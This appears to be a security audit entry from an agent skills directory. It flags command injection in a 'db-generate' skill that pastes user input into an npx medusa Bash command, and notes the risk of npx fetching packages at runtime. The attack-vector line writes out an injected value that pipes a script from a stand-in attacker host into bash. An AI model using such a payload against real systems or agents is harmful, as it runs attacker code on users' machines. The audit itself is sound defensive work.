The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): The skill assembles a Bash command by directly replacing a placeholder with user-provided input.
Ingestion Point: The <module-name> argument provided by the user.
Capability Inventory: The Bash tool is authorized to run npx medusa db:generate:* commands.
Evidence: The instruction "Use the Bash tool to execute the command 'npx medusa db:generate ', replacing '' with the provided argument" in SKILL.md creates a direct command injection vector.
Attack Vector: An attacker could provide a value like brand; curl http://attacker.com/malware | bash which would result in the execution of the malicious script after the initial command fails or completes.
Sanitization: None detected. The skill lacks instructions to escape shell metacharacters or validate the input against a whitelist.
[REMOTE_CODE_EXECUTION] (MEDIUM): The command uses npx, which is designed to download and execute packages from the npm registry if they are not already installed locally.
Risk: While medusa is a known framework, the reliance on dynamic package fetching at runtime introduces a risk of executing malicious code if a typosquatted package name is used or if the npm registry is compromised.

db-generate